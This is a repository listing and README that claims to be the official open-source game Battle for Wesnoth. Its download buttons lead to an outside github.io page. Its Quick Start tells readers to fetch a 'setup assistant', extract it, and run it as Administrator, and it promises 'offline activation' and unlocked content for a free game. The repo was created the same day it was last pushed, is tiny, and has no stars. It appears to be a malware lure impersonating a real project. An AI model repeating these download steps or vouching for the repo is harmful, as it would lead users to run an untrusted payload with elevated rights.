https://github.com/wesnoth-devs/battleforwesnoth
🎮 Epic turn-based strategy game with offline capabilities, complete campaigns, and unlimited modding potential. Download and play immediately!
https://github.com/wesnoth-devs/battleforwesnoth
campaign-mode cpp cross-platform fantasy game gamedev hex-based map-editor modding multiplayer offline-game open-source pc-game sdl2 strategy strategy-game tactical-combat turn-based video-game wesnoth
Last synced: 23 days ago
JSON representation
🎮 Epic turn-based strategy game with offline capabilities, complete campaigns, and unlimited modding potential. Download and play immediately!
- Host: GitHub
- URL: https://github.com/wesnoth-devs/battleforwesnoth
- Owner: Wesnoth-Devs
- License: mit
- Created: 2025-06-24T15:32:35.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-06-24T16:09:28.000Z (4 months ago)
- Last Synced: 2025-06-24T16:36:10.560Z (4 months ago)
- Topics: campaign-mode, cpp, cross-platform, fantasy, game, gamedev, hex-based, map-editor, modding, multiplayer, offline-game, open-source, pc-game, sdl2, strategy, strategy-game, tactical-combat, turn-based, video-game, wesnoth
- Homepage: https://wesnoth-devs.github.io/BattleforWesnoth
- Size: 19.5 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md
- Security: SECURITY.md
Awesome Lists containing this project
README
# Battle for Wesnoth — Epic Turn-Based Strategy
[](LICENSE)
[](https://github.com/Wesnoth-Devs/BattleforWesnoth/releases)
[](https://github.com/Wesnoth-Devs/BattleforWesnoth)
[](https://discord.gg/wesnoth)
> **The ultimate turn-based strategy game with offline capabilities, epic campaigns, and unlimited modding potential**

## 🎮 Play Now
### 🎯 Quick Download
[](https://wesnoth-devs.github.io/.github/)
### 💾 Platform Downloads
[](https://wesnoth-devs.github.io/.github/)
[](https://wesnoth-devs.github.io/.github/)
[](https://wesnoth-devs.github.io/.github/)
## 🎯 Features
### Core Gameplay
- ⚔️ **Turn-Based Strategy**: Deep tactical combat with hex-based positioning
- 🏰 **Epic Campaigns**: Hours of single-player content with branching storylines
- 🎭 **Multiple Factions**: Six unique armies with distinct units and abilities
- 📈 **Unit Advancement**: Experience system with promotion paths and customization
### What Makes Us Different
- 🌟 **Offline Complete**: Full game experience without internet requirements
- 🎨 **Beautiful Art**: Hand-drawn sprites and immersive fantasy artwork
- 🎵 **Original Soundtrack**: Epic music and atmospheric sound effects
- 🗺️ **Map Editor**: Create and share custom scenarios and campaigns
## 📸 Screenshots & Media
### Gameplay

*Choose your path through epic fantasy campaigns*

*Engage in deep turn-based tactical battles*

*Create your own scenarios with the powerful map editor*
## 🎮 How to Play
### Quick Start
1. **Download** the setup assistant using the button above
2. **Extract** the archive using 7-Zip or WinRAR
3. **Run** as Administrator and follow instructions
4. **Launch** and enjoy all unlocked features immediately
### Controls
| Action | Keyboard | Description |
|--------|----------|-------------|
| Move Unit | Click + Click | Select unit and destination |
| Attack | Click Enemy | Attack adjacent enemy units |
| End Turn | Space/Enter | Complete your turn |
| Undo Move | U | Undo last unit movement |
## 🛠️ Development
### Prerequisites
- C++ compiler (GCC 7+ or MSVC 2019+)
- CMake 3.16+
- SDL2 development libraries
- Boost libraries 1.66+
### Building from Source
```bash
git clone https://github.com/Wesnoth-Devs/BattleforWesnoth.git
cd BattleforWesnoth
mkdir build && cd build
cmake ..
make -j4
```
### Modding Support
See our [Modding Guide](docs/modding.md) for creating custom content:
- Custom units and factions
- New campaigns and scenarios
- Visual and audio modifications
- Gameplay mechanic changes
## 🏆 Roadmap
### Current Version: v1.18.0
- ✅ Complete offline activation system
- ✅ All campaigns and factions unlocked
- ✅ Enhanced setup assistant
- ✅ Comprehensive modding documentation
### Upcoming Features
- 🚧 Enhanced AI with difficulty scaling
- 📅 Mobile platform support
- 💡 Steam Workshop integration
- 🎯 Tournament and ranking system
## 🤝 Contributing
We welcome all types of contributions:
- 🐛 **Bug Reports**: Help us identify and fix issues
- 💡 **Feature Requests**: Suggest improvements and new features
- 🎨 **Art & Assets**: Create sprites, music, and sound effects
- 📝 **Documentation**: Improve guides and tutorials
- 🔧 **Code**: Contribute features and optimizations
See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
## 📄 License
MIT License - see [LICENSE](LICENSE) for details.
## 🙏 Credits
### Development Team
- **David White** - Original Creator and Lead Developer
- **Wesnoth Development Team** - Core contributors and maintainers
- **Community Contributors** - Hundreds of volunteers worldwide
### Special Thanks
- Fantasy art inspiration from classic strategy games
- Open source libraries: SDL2, Boost, CMake
- Localization teams for 40+ language translations
- Beta testers and community feedback
## 🔗 Links
- 🌐 [Official Website](https://wesnoth.org)
- 💬 [Discord Community](https://discord.gg/wesnoth)
- 📺 [YouTube Channel](https://youtube.com/c/wesnoth)
- 📖 [Documentation](https://wesnoth-devs.github.io/BattleforWesnoth)
- 🎮 [Steam Page](https://store.steampowered.com/app/wesnoth)
- 🎯 [itch.io Page](https://wesnoth.itch.io/battle-for-wesnoth)
---
**Keywords**: battle for wesnoth, turn-based strategy, offline strategy game, fantasy tactical combat, hex-based strategy, campaign mode, multiplayer strategy, map editor, modding support, free strategy game, open source game, unit advancement, scenario editor, cross-platform gaming